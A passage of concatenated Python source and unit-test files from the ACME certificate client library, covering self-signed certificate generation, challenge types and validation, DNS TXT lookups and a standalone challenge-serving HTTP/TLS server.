                validity=(7 * 24 * 60 * 60), force_san=True):
    """Generate new self-signed certificate.

    :type domains: `list` of `unicode`
    :param OpenSSL.crypto.PKey key:
    :param bool force_san:

    If more than one domain is provided, all of the domains are put into
    ``subjectAltName`` X.509 extension and first domain is set as the
    subject CN. If only one domain is provided no ``subjectAltName``
    extension is used, unless `force_san` is ``True``.

    """
    assert domains, "Must provide one or more hostnames for the cert."
    cert = OpenSSL.crypto.X509()
    cert.set_serial_number(int(binascii.hexlify(OpenSSL.rand.bytes(16)), 16))
    cert.set_version(2)

    extensions = [
        OpenSSL.crypto.X509Extension(
            b"basicConstraints", True, b"CA:TRUE, pathlen:0"),
    ]

    cert.get_subject().CN = domains[0]
    # TODO: what to put into cert.get_subject()?
    cert.set_issuer(cert.get_subject())

    if force_san or len(domains) > 1:
        extensions.append(OpenSSL.crypto.X509Extension(
            b"subjectAltName",
            critical=False,
            value=b", ".join(b"DNS:" + d.encode() for d in domains)
        ))

    cert.add_extensions(extensions)

    cert.gmtime_adj_notBefore(0 if not_before is None else not_before)
    cert.gmtime_adj_notAfter(validity)

    cert.set_pubkey(key)
    cert.sign(key, "sha256")
    return cert






"""Tests for acme.dns_resolver."""
import unittest
import mock

from acme import dns_resolver

try:
    import dns
except ImportError:  # pragma: no cover
    dns = None


def create_txt_response(name, txt_records):
    """
    Returns an RRSet containing the 'txt_records' as the result of a DNS
    query for 'name'.

    This takes advantage of the fact that an Answer object mostly behaves
    like an RRset.
    """
    return dns.rrset.from_text_list(name, 60, "IN", "TXT", txt_records)


class TxtRecordsForNameTest(unittest.TestCase):

    @mock.patch("acme.dns_resolver.dns.resolver.query")
    def test_txt_records_for_name_with_single_response(self, mock_dns):
        mock_dns.return_value = create_txt_response('name', ['response'])
        self.assertEqual(['response'],
                         dns_resolver.txt_records_for_name('name'))

    @mock.patch("acme.dns_resolver.dns.resolver.query")
    def test_txt_records_for_name_with_multiple_responses(self, mock_dns):
        mock_dns.return_value = create_txt_response(
            'name', ['response1', 'response2'])
        self.assertEqual(['response1', 'response2'],
                         dns_resolver.txt_records_for_name('name'))

    @mock.patch("acme.dns_resolver.dns.resolver.query")
    def test_txt_records_for_name_domain_not_found(self, mock_dns):
        mock_dns.side_effect = dns.resolver.NXDOMAIN
        self.assertEquals([], dns_resolver.txt_records_for_name('name'))

    @mock.patch("acme.dns_resolver.dns.resolver.query")
    def test_txt_records_for_name_domain_other_error(self, mock_dns):
        mock_dns.side_effect = dns.exception.DNSException
        self.assertEquals([], dns_resolver.txt_records_for_name('name'))

    def run(self, result=None):
        if dns is None:  # pragma: no cover
            print(self, "... SKIPPING, no dnspython available")
            return
        super(TxtRecordsForNameTest, self).run(result)






"""Tests for acme.challenges."""
import unittest

import mock
import OpenSSL
import requests

from six.moves.urllib import parse as urllib_parse  # pylint: disable=import-error

from acme import errors
from acme import jose
from acme import test_util


CERT = test_util.load_comparable_cert('cert.pem')
KEY = jose.JWKRSA(key=test_util.load_rsa_private_key('rsa512_key.pem'))


class ChallengeTest(unittest.TestCase):

    def test_from_json_unrecognized(self):
        from acme.challenges import Challenge
        from acme.challenges import UnrecognizedChallenge
        chall = UnrecognizedChallenge({"type": "foo"})
        # pylint: disable=no-member
        self.assertEqual(chall, Challenge.from_json(chall.jobj))


class UnrecognizedChallengeTest(unittest.TestCase):

    def setUp(self):
        from acme.challenges import UnrecognizedChallenge
        self.jobj = {"type": "foo"}
        self.chall = UnrecognizedChallenge(self.jobj)

    def test_to_partial_json(self):
        self.assertEqual(self.jobj, self.chall.to_partial_json())

    def test_from_json(self):
        from acme.challenges import UnrecognizedChallenge
        self.assertEqual(
            self.chall, UnrecognizedChallenge.from_json(self.jobj))


class KeyAuthorizationChallengeResponseTest(unittest.TestCase):

    def setUp(self):
        def _encode(name):
            assert name == "token"
            return "foo"
        self.chall = mock.Mock()
        self.chall.encode.side_effect = _encode

    def test_verify_ok(self):
        from acme.challenges import KeyAuthorizationChallengeResponse
        response = KeyAuthorizationChallengeResponse(
            key_authorization='foo.oKGqedy-b-acd5eoybm2f-NVFxvyOoET5CNy3xnv8WY')
        self.assertTrue(response.verify(self.chall, KEY.public_key()))

    def test_verify_wrong_token(self):
        from acme.challenges import KeyAuthorizationChallengeResponse
        response = KeyAuthorizationChallengeResponse(
            key_authorization='bar.oKGqedy-b-acd5eoybm2f-NVFxvyOoET5CNy3xnv8WY')
        self.assertFalse(response.verify(self.chall, KEY.public_key()))

    def test_verify_wrong_thumbprint(self):
        from acme.challenges import KeyAuthorizationChallengeResponse
        response = KeyAuthorizationChallengeResponse(
            key_authorization='foo.oKGqedy-b-acd5eoybm2f-NVFxv')
        self.assertFalse(response.verify(self.chall, KEY.public_key()))

    def test_verify_wrong_form(self):
        from acme.challenges import KeyAuthorizationChallengeResponse
        response = KeyAuthorizationChallengeResponse(
            key_authorization='.foo.oKGqedy-b-acd5eoybm2f-'
            'NVFxvyOoET5CNy3xnv8WY')
        self.assertFalse(response.verify(self.chall, KEY.public_key()))


class DNS01ResponseTest(unittest.TestCase):
    # pylint: disable=too-many-instance-attributes

    def setUp(self):
        from acme.challenges import DNS01Response
        self.msg = DNS01Response(key_authorization=u'foo')
        self.jmsg = {
            'resource': 'challenge',
            'type': 'dns-01',
            'keyAuthorization': u'foo',
        }

        from acme.challenges import DNS01
        self.chall = DNS01(token=(b'x' * 16))
        self.response = self.chall.response(KEY)

    def test_to_partial_json(self):
        self.assertEqual(self.jmsg, self.msg.to_partial_json())

    def test_from_json(self):
        from acme.challenges import DNS01Response
        self.assertEqual(self.msg, DNS01Response.from_json(self.jmsg))

    def test_from_json_hashable(self):
        from acme.challenges import DNS01Response
        hash(DNS01Response.from_json(self.jmsg))

    def test_simple_verify_bad_key_authorization(self):
        key2 = jose.JWKRSA.load(test_util.load_vector('rsa256_key.pem'))
        self.response.simple_verify(self.chall, "local", key2.public_key())

    @mock.patch("acme.dns_resolver.txt_records_for_name")
    def test_simple_verify_good_validation(self, mock_resolver):
        mock_resolver.return_value = [self.chall.validation(KEY.public_key())]
        self.assertTrue(self.response.simple_verify(
            self.chall, "local", KEY.public_key()))
        mock_resolver.assert_called_once_with(
            self.chall.validation_domain_name("local"))

    @mock.patch("acme.dns_resolver.txt_records_for_name")
    def test_simple_verify_good_validation_multiple_txts(self, mock_resolver):
        mock_resolver.return_value = [
            "!", self.chall.validation(KEY.public_key())]
        self.assertTrue(self.response.simple_verify(
            self.chall, "local", KEY.public_key()))
        mock_resolver.assert_called_once_with(
            self.chall.validation_domain_name("local"))

    @mock.patch("acme.dns_resolver.txt_records_for_name")
    def test_simple_verify_bad_validation(self, mock_dns):
        mock_dns.return_value = ["!"]
        self.assertFalse(self.response.simple_verify(
            self.chall, "local", KEY.public_key()))


class DNS01Test(unittest.TestCase):

    def setUp(self):
        from acme.challenges import DNS01
        self.msg = DNS01(token=jose.decode_b64jose(
            'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ+PCt92wr+oA'))
        self.jmsg = {
            'type': 'dns-01',
            'token': 'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA',
        }

    def test_validation_domain_name(self):
        self.assertEqual('_acme-challenge.www.example.com',
                         self.msg.validation_domain_name('www.example.com'))

    def test_validation(self):
        self.assertEqual(
            "rAa7iIg4K2y63fvUhCfy8dP1Xl7wEhmQq0oChTcE3Zk",
            self.msg.validation(KEY))

    def test_to_partial_json(self):
        self.assertEqual(self.jmsg, self.msg.to_partial_json())

    def test_from_json(self):
        from acme.challenges import DNS01
        self.assertEqual(self.msg, DNS01.from_json(self.jmsg))

    def test_from_json_hashable(self):
        from acme.challenges import DNS01
        hash(DNS01.from_json(self.jmsg))


class HTTP01ResponseTest(unittest.TestCase):
    # pylint: disable=too-many-instance-attributes

    def setUp(self):
        from acme.challenges import HTTP01Response
        self.msg = HTTP01Response(key_authorization=u'foo')
        self.jmsg = {
            'resource': 'challenge',
            'type': 'http-01',
            'keyAuthorization': u'foo',
        }

        from acme.challenges import HTTP01
        self.chall = HTTP01(token=(b'x' * 16))
        self.response = self.chall.response(KEY)

    def test_to_partial_json(self):
        self.assertEqual(self.jmsg, self.msg.to_partial_json())

    def test_from_json(self):
        from acme.challenges import HTTP01Response
        self.assertEqual(
            self.msg, HTTP01Response.from_json(self.jmsg))

    def test_from_json_hashable(self):
        from acme.challenges import HTTP01Response
        hash(HTTP01Response.from_json(self.jmsg))

    def test_simple_verify_bad_key_authorization(self):
        key2 = jose.JWKRSA.load(test_util.load_vector('rsa256_key.pem'))
        self.response.simple_verify(self.chall, "local", key2.public_key())

    @mock.patch("acme.challenges.requests.get")
    def test_simple_verify_good_validation(self, mock_get):
        validation = self.chall.validation(KEY)
        mock_get.return_value = mock.MagicMock(text=validation)
        self.assertTrue(self.response.simple_verify(
            self.chall, "local", KEY.public_key()))
        mock_get.assert_called_once_with(self.chall.uri("local"))

    @mock.patch("acme.challenges.requests.get")
    def test_simple_verify_bad_validation(self, mock_get):
        mock_get.return_value = mock.MagicMock(text="!")
        self.assertFalse(self.response.simple_verify(
            self.chall, "local", KEY.public_key()))

    @mock.patch("acme.challenges.requests.get")
    def test_simple_verify_whitespace_validation(self, mock_get):
        from acme.challenges import HTTP01Response
        mock_get.return_value = mock.MagicMock(
            text=(self.chall.validation(KEY) +
                  HTTP01Response.WHITESPACE_CUTSET))
        self.assertTrue(self.response.simple_verify(
            self.chall, "local", KEY.public_key()))
        mock_get.assert_called_once_with(self.chall.uri("local"))

    @mock.patch("acme.challenges.requests.get")
    def test_simple_verify_connection_error(self, mock_get):
        mock_get.side_effect = requests.exceptions.RequestException
        self.assertFalse(self.response.simple_verify(
            self.chall, "local", KEY.public_key()))

    @mock.patch("acme.challenges.requests.get")
    def test_simple_verify_port(self, mock_get):
        self.response.simple_verify(
            self.chall, domain="local",
            account_public_key=KEY.public_key(), port=8080)
        self.assertEqual("local:8080", urllib_parse.urlparse(
            mock_get.mock_calls[0][1][0]).netloc)


class HTTP01Test(unittest.TestCase):

    def setUp(self):
        from acme.challenges import HTTP01
        self.msg = HTTP01(
            token=jose.decode_b64jose(
                'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ+PCt92wr+oA'))
        self.jmsg = {
            'type': 'http-01',
            'token': 'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA',
        }

    def test_path(self):
        self.assertEqual(self.msg.path, '/.well-known/acme-challenge/'
                         'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA')

    def test_uri(self):
        self.assertEqual(
            'http://example.com/.well-known/acme-challenge/'
            'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA',
            self.msg.uri('example.com'))

    def test_to_partial_json(self):
        self.assertEqual(self.jmsg, self.msg.to_partial_json())

    def test_from_json(self):
        from acme.challenges import HTTP01
        self.assertEqual(self.msg, HTTP01.from_json(self.jmsg))

    def test_from_json_hashable(self):
        from acme.challenges import HTTP01
        hash(HTTP01.from_json(self.jmsg))

    def test_good_token(self):
        self.assertTrue(self.msg.good_token)
        self.assertFalse(
            self.msg.update(token=b'..').good_token)


class TLSSNI01ResponseTest(unittest.TestCase):
    # pylint: disable=too-many-instance-attributes

    def setUp(self):
        from acme.challenges import TLSSNI01
        self.chall = TLSSNI01(
            token=jose.b64decode(b'a82d5ff8ef740d12881f6d3c2277ab2e'))

        self.response = self.chall.response(KEY)
        self.jmsg = {
            'resource': 'challenge',
            'type': 'tls-sni-01',
            'keyAuthorization': self.response.key_authorization,
        }

        # pylint: disable=invalid-name
        label1 = b'dc38d9c3fa1a4fdcc3a5501f2d38583f'
        label2 = b'b7793728f084394f2a1afd459556bb5c'
        self.z = label1 + label2
        self.z_domain = label1 + b'.' + label2 + b'.acme.invalid'
        self.domain = 'foo.com'

    def test_z_and_domain(self):
        self.assertEqual(self.z, self.response.z)
        self.assertEqual(self.z_domain, self.response.z_domain)

    def test_to_partial_json(self):
        self.assertEqual(self.jmsg, self.response.to_partial_json())

    def test_from_json(self):
        from acme.challenges import TLSSNI01Response
        self.assertEqual(self.response, TLSSNI01Response.from_json(self.jmsg))

    def test_from_json_hashable(self):
        from acme.challenges import TLSSNI01Response
        hash(TLSSNI01Response.from_json(self.jmsg))

    @mock.patch('acme.challenges.socket.gethostbyname')
    @mock.patch('acme.challenges.crypto_util.probe_sni')
    def test_probe_cert(self, mock_probe_sni, mock_gethostbyname):
        mock_gethostbyname.return_value = '127.0.0.1'
        self.response.probe_cert('foo.com')
        mock_gethostbyname.assert_called_once_with('foo.com')
        mock_probe_sni.assert_called_once_with(
            host='127.0.0.1', port=self.response.PORT,
            name=self.z_domain)

        self.response.probe_cert('foo.com', host='8.8.8.8')
        mock_probe_sni.assert_called_with(
            host='8.8.8.8', port=mock.ANY, name=mock.ANY)

        self.response.probe_cert('foo.com', port=1234)
        mock_probe_sni.assert_called_with(
            host=mock.ANY, port=1234, name=mock.ANY)

        self.response.probe_cert('foo.com', bar='baz')
        mock_probe_sni.assert_called_with(
            host=mock.ANY, port=mock.ANY, name=mock.ANY, bar='baz')

        self.response.probe_cert('foo.com', name=b'xxx')
        mock_probe_sni.assert_called_with(
            host=mock.ANY, port=mock.ANY,
            name=self.z_domain)

    def test_gen_verify_cert(self):
        key1 = test_util.load_pyopenssl_private_key('rsa512_key.pem')
        cert, key2 = self.response.gen_cert(key1)
        self.assertEqual(key1, key2)
        self.assertTrue(self.response.verify_cert(cert))

    def test_gen_verify_cert_gen_key(self):
        cert, key = self.response.gen_cert()
        self.assertTrue(isinstance(key, OpenSSL.crypto.PKey))
        self.assertTrue(self.response.verify_cert(cert))

    def test_verify_bad_cert(self):
        self.assertFalse(self.response.verify_cert(
            test_util.load_cert('cert.pem')))

    def test_simple_verify_bad_key_authorization(self):
        key2 = jose.JWKRSA.load(test_util.load_vector('rsa256_key.pem'))
        self.response.simple_verify(self.chall, "local", key2.public_key())

    @mock.patch('acme.challenges.TLSSNI01Response.verify_cert', autospec=True)
    def test_simple_verify(self, mock_verify_cert):
        mock_verify_cert.return_value = mock.sentinel.verification
        self.assertEqual(
            mock.sentinel.verification, self.response.simple_verify(
                self.chall, self.domain, KEY.public_key(),
                cert=mock.sentinel.cert))
        mock_verify_cert.assert_called_once_with(
            self.response, mock.sentinel.cert)

    @mock.patch('acme.challenges.TLSSNI01Response.probe_cert')
    def test_simple_verify_false_on_probe_error(self, mock_probe_cert):
        mock_probe_cert.side_effect = errors.Error
        self.assertFalse(self.response.simple_verify(
            self.chall, self.domain, KEY.public_key()))


class TLSSNI01Test(unittest.TestCase):

    def setUp(self):
        from acme.challenges import TLSSNI01
        self.msg = TLSSNI01(
            token=jose.b64decode('a82d5ff8ef740d12881f6d3c2277ab2e'))
        self.jmsg = {
            'type': 'tls-sni-01',
            'token': 'a82d5ff8ef740d12881f6d3c2277ab2e',
        }

    def test_to_partial_json(self):
        self.assertEqual(self.jmsg, self.msg.to_partial_json())

    def test_from_json(self):
        from acme.challenges import TLSSNI01
        self.assertEqual(self.msg, TLSSNI01.from_json(self.jmsg))

    def test_from_json_hashable(self):
        from acme.challenges import TLSSNI01
        hash(TLSSNI01.from_json(self.jmsg))

    def test_from_json_invalid_token_length(self):
        from acme.challenges import TLSSNI01
        self.jmsg['token'] = jose.encode_b64jose(b'abcd')
        self.assertRaises(
            jose.DeserializationError, TLSSNI01.from_json, self.jmsg)

    @mock.patch('acme.challenges.TLSSNI01Response.gen_cert')
    def test_validation(self, mock_gen_cert):
        mock_gen_cert.return_value = ('cert', 'key')
        self.assertEqual(('cert', 'key'), self.msg.validation(
            KEY, cert_key=mock.sentinel.cert_key))
        mock_gen_cert.assert_called_once_with(key=mock.sentinel.cert_key)


class DNSTest(unittest.TestCase):

    def setUp(self):
        from acme.challenges import DNS
        self.msg = DNS(token=jose.b64decode(
            b'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA'))
        self.jmsg = {
            'type': 'dns',
            'token': 'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA',
        }

    def test_to_partial_json(self):
        self.assertEqual(self.jmsg, self.msg.to_partial_json())

    def test_from_json(self):
        from acme.challenges import DNS
        self.assertEqual(self.msg, DNS.from_json(self.jmsg))

    def test_from_json_hashable(self):
        from acme.challenges import DNS
        hash(DNS.from_json(self.jmsg))

    def test_gen_check_validation(self):
        self.assertTrue(self.msg.check_validation(
            self.msg.gen_validation(KEY), KEY.public_key()))

    def test_gen_check_validation_wrong_key(self):
        key2 = jose.JWKRSA.load(test_util.load_vector('rsa1024_key.pem'))
        self.assertFalse(self.msg.check_validation(
            self.msg.gen_validation(KEY), key2.public_key()))

    def test_check_validation_wrong_payload(self):
        validations = tuple(
            jose.JWS.sign(payload=payload, alg=jose.RS256, key=KEY)
            for payload in (b'', b'{}')
        )
        for validation in validations:
            self.assertFalse(self.msg.check_validation(
                validation, KEY.public_key()))

    def test_check_validation_wrong_fields(self):
        bad_validation = jose.JWS.sign(
            payload=self.msg.update(
                token=b'x' * 20).json_dumps().encode('utf-8'),
            alg=jose.RS256, key=KEY)
        self.assertFalse(self.msg.check_validation(
            bad_validation, KEY.public_key()))

    def test_gen_response(self):
        with mock.patch('acme.challenges.DNS.gen_validation') as mock_gen:
            mock_gen.return_value = mock.sentinel.validation
            response = self.msg.gen_response(KEY)
        from acme.challenges import DNSResponse
        self.assertTrue(isinstance(response, DNSResponse))
        self.assertEqual(response.validation, mock.sentinel.validation)

    def test_validation_domain_name(self):
        self.assertEqual(
            '_acme-challenge.le.wtf', self.msg.validation_domain_name('le.wtf'))


class DNSResponseTest(unittest.TestCase):

    def setUp(self):
        from acme.challenges import DNS
        self.chall = DNS(token=jose.b64decode(
            b"evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA"))
        self.validation = jose.JWS.sign(
            payload=self.chall.json_dumps(sort_keys=True).encode(),
            key=KEY, alg=jose.RS256)

        from acme.challenges import DNSResponse
        self.msg = DNSResponse(validation=self.validation)
        self.jmsg_to = {
            'resource': 'challenge',
            'type': 'dns',
            'validation': self.validation,
        }
        self.jmsg_from = {
            'resource': 'challenge',
            'type': 'dns',
            'validation': self.validation.to_json(),
        }

    def test_to_partial_json(self):
        self.assertEqual(self.jmsg_to, self.msg.to_partial_json())

    def test_from_json(self):
        from acme.challenges import DNSResponse
        self.assertEqual(self.msg, DNSResponse.from_json(self.jmsg_from))

    def test_from_json_hashable(self):
        from acme.challenges import DNSResponse
        hash(DNSResponse.from_json(self.jmsg_from))

    def test_check_validation(self):
        self.assertTrue(
            self.msg.check_validation(self.chall, KEY.public_key()))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Support for standalone client challenge solvers. """
import argparse
import collections
import functools
import logging
import os
import sys

from six.moves import BaseHTTPServer  # pylint: disable=import-error
from six.moves import http_client  # pylint: disable=import-error
from six.moves import socketserver  # pylint: disable=import-error

import OpenSSL

from acme import challenges
from acme import crypto_util


logger = logging.getLogger(__name__)

# six.moves.* | pylint: disable=no-member,attribute-defined-outside-init
# pylint: disable=too-few-public-methods,no-init


class TLSServer(socketserver.TCPServer):
    """Generic TLS Server."""

    def __init__(self, *args, **kwargs):
        self.certs = kwargs.pop("certs", {})
        self.method = kwargs.pop(
            # pylint: disable=protected-access
            "method", crypto_util._DEFAULT_TLSSNI01_SSL_METHOD)
        self.allow_reuse_address = kwargs.pop("allow_reuse_address", True)
        socketserver.TCPServer.__init__(self, *args, **kwargs)

    def _wrap_sock(self):
        self.socket = crypto_util.SSLSocket(
            self.socket, certs=self.certs, method=self.method)

    def server_bind(self):  # pylint: disable=missing-docstring
        self._wrap_sock()
        return socketserver.TCPServer.server_bind(self)


class ACMEServerMixin:  # pylint: disable=old-style-class
    """ACME server common settings mixin."""
    # TODO: c.f. #858
    server_version = "ACME client standalone challenge solver"
    allow_reuse_address = True


class TLSSNI01Server(TLSServer, ACMEServerMixin):
    """TLSSNI01 Server."""

    def __init__(self, server_address, certs):
        TLSServer.__init__(
            self, server_address, BaseRequestHandlerWithLogging, certs=certs)


class BaseRequestHandlerWithLogging(socketserver.BaseRequestHandler):
    """BaseRequestHandler with logging."""

    def log_message(self, format, *args):  # pylint: disable=redefined-builtin
        """Log arbitrary message."""
        logger.debug("%s - - %s", self.client_address[0], format % args)

    def handle(self):
        """Handle request."""
        self.log_message("Incoming request")
        socketserver.BaseRequestHandler.handle(self)


class HTTP01Server(BaseHTTPServer.HTTPServer, ACMEServerMixin):
    """HTTP01 Server."""

    def __init__(self, server_address, resources):
        BaseHTTPServer.HTTPServer.__init__(
            self, server_address, HTTP01RequestHandler.partial_init(
                simple_http_resources=resources))


class HTTP01RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    """HTTP01 challenge handler.

    Adheres to the stdlib's `socketserver.BaseRequestHandler` interface.

    :ivar set simple_http_resources: A set of `HTTP01Resource`
        objects. TODO: better name?

    """
    HTTP01Resource = collections.namedtuple(
        "HTTP01Resource", "chall response validation")

    def __init__(self, *args, **kwargs):
        self.simple_http_resources = kwargs.pop("simple_http_resources", set())
        socketserver.BaseRequestHandler.__init__(self, *args, **kwargs)

    def log_message(self, format, *args):  # pylint: disable=redefined-builtin
        """Log arbitrary message."""
        logger.debug("%s - - %s", self.client_address[0], format % args)

    def handle(self):
        """Handle request."""
        self.log_message("Incoming request")
        BaseHTTPServer.BaseHTTPRequestHandler.handle(self)

    def do_GET(self):  # pylint: disable=invalid-name,missing-docstring
        if self.path == "/":
            self.handle_index()
        elif self.path.startswith("/" + challenges.HTTP01.URI_ROOT_PATH):
            self.handle_simple_http_resource()
        else:
            self.handle_404()

    def handle_index(self):
        """Handle index page."""
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write(self.server.server_version.encode())

    def handle_404(self):
        """Handler 404 Not Found errors."""
        self.send_response(http_client.NOT_FOUND, message="Not Found")
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(b"404")

    def handle_simple_http_resource(self):
        """Handle HTTP01 provisioned resources."""
        for resource in self.simple_http_resources:
            if resource.chall.path == self.path:
                self.log_message("Serving HTTP01 with token %r",
                                 resource.chall.encode("token"))
                self.send_response(http_client.OK)
                self.end_headers()
                self.wfile.write(resource.validation.encode())
                return
        else:  # pylint: disable=useless-else-on-loop
            self.log_message("No resources to serve")
        self.log_message("%s does not correspond to any resource. ignoring",
                         self.path)

    @classmethod
    def partial_init(cls, simple_http_resources):
        """Partially initialize this handler.

        This is useful because `socketserver.BaseServer` takes
        uninitialized handler and initializes it with the current
        request.

        """
        return functools.partial(
            cls, simple_http_resources=simple_http_resources)


def simple_tls_sni_01_server(cli_args, forever=True):
    """Run simple standalone TLSSNI01 server."""
    logging.basicConfig(level=logging.DEBUG)

    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-p", "--port", default=0, help="Port to serve at. By default "
        "picks random free port.")
    args = parser.parse_args(cli_args[1:])

    certs = {}

    _, hosts, _ = next(os.walk('.'))
    for host in hosts:
        with open(os.path.join(host, "cert.pem")) as cert_file:
            cert_contents = cert_file.read()
        with open(os.path.join(host, "key.pem")) as key_file:
            key_contents = key_file.read()
        certs[host.encode()] = (
            OpenSSL.crypto.load_privatekey(
                OpenSSL.crypto.FILETYPE_PEM, key_contents),
            OpenSSL.crypto.load_certificate(
                OpenSSL.crypto.FILETYPE_PEM, cert_contents))

    server = TLSSNI01Server(('', int(args.port)), certs=certs)
    logger.info("Serving at https://%s:%s...", *server.socket.getsockname()[:2])
    if forever:  # pragma: no cover
        server.serve_forever()
    else:
        server.handle_request()


if __name__ == "__main__":
    sys.exit(simple_tls_sni_01_server(sys.argv))  # pragma: no cover






"""Tests for acme.errors."""
import unittest

import mock


class BadNonceTest(unittest.TestCase):
    """Tests for acme.errors.BadNonce."""

    def setUp(self):
        from acme.errors import BadNonce
        self.error = BadNonce(nonce="xxx", error="error")

    def test_str(self):
        self.assertEqual("Invalid nonce ('xxx'): error", str(self.error))


class MissingNonceTest(unittest.TestCase):
    """Tests for acme.errors.MissingNonce."""

    def setUp(self):
        from acme.errors import MissingNonce
        self.response = mock.MagicMock(headers={})
        self.response.request.method = 'FOO'
        self.error = MissingNonce(self.response)

    def test_str(self):
        self.assertTrue("FOO" in str(self.error))
        self.assertTrue("{}" in str(self.error))


class PollErrorTest(unittest.TestCase):
    """Tests for acme.errors.PollError."""

    def setUp(self):
        from acme.errors import PollError
        self.timeout = PollError(
            exhausted=set([mock.sentinel.AR]),
            updated={})
        self.invalid = PollError(exhausted=set(), updated={
            mock.sentinel.AR: mock.sentinel.AR2})

    def test_timeout(self):
        self.assertTrue(self.timeout.timeout)
        self.assertFalse(self.invalid.timeout)

    def test_repr(self):
        self.assertEqual('PollError(exhausted=%s, updated={sentinel.AR: '
                         'sentinel.AR2})' % repr(set()), repr(self.invalid))


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for acme.fields."""
import datetime
import unittest

import pytz

from acme import jose


class FixedTest(unittest.TestCase):
    """Tests for acme.fields.Fixed."""

    def setUp(self):
        from acme.fields import Fixed
        self.field = Fixed('name', 'x')

    def test_decode(self):
        self.assertEqual('x', self.field.decode('x'))

    def test_decode_bad(self):
        self.assertRaises(jose.DeserializationError, self.field.decode, 'y')

    def test_encode(self):
        self.assertEqual('x', self.field.encode('x'))

    def test_encode_override(self):
        self.assertEqual('y', self.field.encode('y'))


class RFC3339FieldTest(unittest.TestCase):
    """Tests for acme.fields.RFC3339Field."""

    def setUp(self):
        self.decoded = datetime.datetime(2015, 3, 27, tzinfo=pytz.utc)
        self.encoded = '2015-03-27T00:00:00Z'

    def test_default_encoder(self):
        from acme.fields import RFC3339Field
        self.assertEqual(
            self.encoded, RFC3339Field.default_encoder(self.decoded))

    def test_default_encoder_naive_fails(self):
        from acme.fields import RFC3339Field
        self.assertRaises(
            ValueError, RFC3339Field.default_encoder, datetime.datetime.now())

    def test_default_decoder(self):
        from acme.fields import RFC3339Field
        self.assertEqual(
            self.decoded, RFC3339Field.default_decoder(self.encoded))

    def test_default_decoder_raises_deserialization_error(self):
        from acme.fields import RFC3339Field
        self.assertRaises(
            jose.DeserializationError, RFC3339Field.default_decoder, '')


class ResourceTest(unittest.TestCase):
    """Tests for acme.fields.Resource."""

    def setUp(self):
        from acme.fields import Resource
        self.field = Resource('x')

    def test_decode_good(self):
        self.assertEqual('x', self.field.decode('x'))

    def test_decode_wrong(self):
        self.assertRaises(jose.DeserializationError, self.field.decode, 'y')


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""ACME Identifier Validation Challenges."""
import abc
import functools
import hashlib
import logging
import socket

from cryptography.hazmat.primitives import hashes
import OpenSSL
import requests

from acme import errors
from acme import crypto_util
from acme import fields
from acme import jose

logger = logging.getLogger(__name__)


# pylint: disable=too-few-public-methods


class Challenge(jose.TypedJSONObjectWithFields):
    # _fields_to_partial_json | pylint: disable=abstract-method
    """ACME challenge."""
    TYPES = {}

    @classmethod
    def from_json(cls, jobj):
        try:
            return super(Challenge, cls).from_json(jobj)
        except jose.UnrecognizedTypeError as error:
            logger.debug(error)
            return UnrecognizedChallenge.from_json(jobj)


class ChallengeResponse(jose.TypedJSONObjectWithFields):
    # _fields_to_partial_json | pylint: disable=abstract-method
    """ACME challenge response."""
    TYPES = {}
    resource_type = 'challenge'
    resource = fields.Resource(resource_type)


class UnrecognizedChallenge(Challenge):
    """Unrecognized challenge.

    ACME specification defines a generic framework for challenges and
    defines some standard challenges that are implemented in this
    module. However, other implementations (including peers) might
    define additional challenge types, which should be ignored if
    unrecognized.

    :ivar jobj: Original JSON decoded object.

    """

    def __init__(self, jobj):
        super(UnrecognizedChallenge, self).__init__()
        object.__setattr__(self, "jobj", jobj)

    def to_partial_json(self):
        # pylint: disable=no-member
        return self.jobj

    @classmethod
    def from_json(cls, jobj):
        return cls(jobj)


class _TokenChallenge(Challenge):
    """Challenge with token.

    :ivar bytes token:

    """
    TOKEN_SIZE = 128 / 8  # Based on the entropy value from the spec
    """Minimum size of the :attr:`token` in bytes."""

    # TODO: acme-spec doesn't specify token as base64-encoded value
    token = jose.Field(
        "token", encoder=jose.encode_b64jose, decoder=functools.partial(
            jose.decode_b64jose, size=TOKEN_SIZE, minimum=True))

    # XXX: rename to ~token_good_for_url
    @property
    def good_token(self):  # XXX: @token.decoder
        """Is `token` good?

        .. todo:: acme-spec wants "It MUST NOT contain any non-ASCII
           characters", but it should also warrant that it doesn't
           contain ".." or "/"...

        """
        # TODO: check that path combined with uri does not go above
        # URI_ROOT_PATH!
        return b'..' not in self.token and b'/' not in self.token


class KeyAuthorizationChallengeResponse(ChallengeResponse):
    """Response to Challenges based on Key Authorization.

    :param unicode key_authorization:

    """
    key_authorization = jose.Field("keyAuthorization")
    thumbprint_hash_function = hashes.SHA256

    def verify(self, chall, account_public_key):
        """Verify the key authorization.

        :param KeyAuthorization chall: Challenge that corresponds to
            this response.
        :param JWK account_public_key:

        :return: ``True`` iff verification of the key authorization was
            successful.
        :rtype: bool

        """
        parts = self.key_authorization.split('.')  # pylint: disable=no-member
        if len(parts) != 2:
            logger.debug("Key authorization (%r) is not well formed",
                         self.key_authorization)
            return False

        if parts[0] != chall.encode("token"):
            logger.debug("Mismatching token in key authorization: "
                         "%r instead of %r", parts[0], chall.encode("token"))
            return False

        thumbprint = jose.b64encode(account_public_key.thumbprint(
            hash_function=self.thumbprint_hash_function)).decode()
        if parts[1] != thumbprint:
            logger.debug("Mismatching thumbprint in key authorization: "
                         "%r instead of %r", parts[0], thumbprint)
            return False

        return True


class KeyAuthorizationChallenge(_TokenChallenge):
    # pylint: disable=abstract-class-little-used,too-many-ancestors
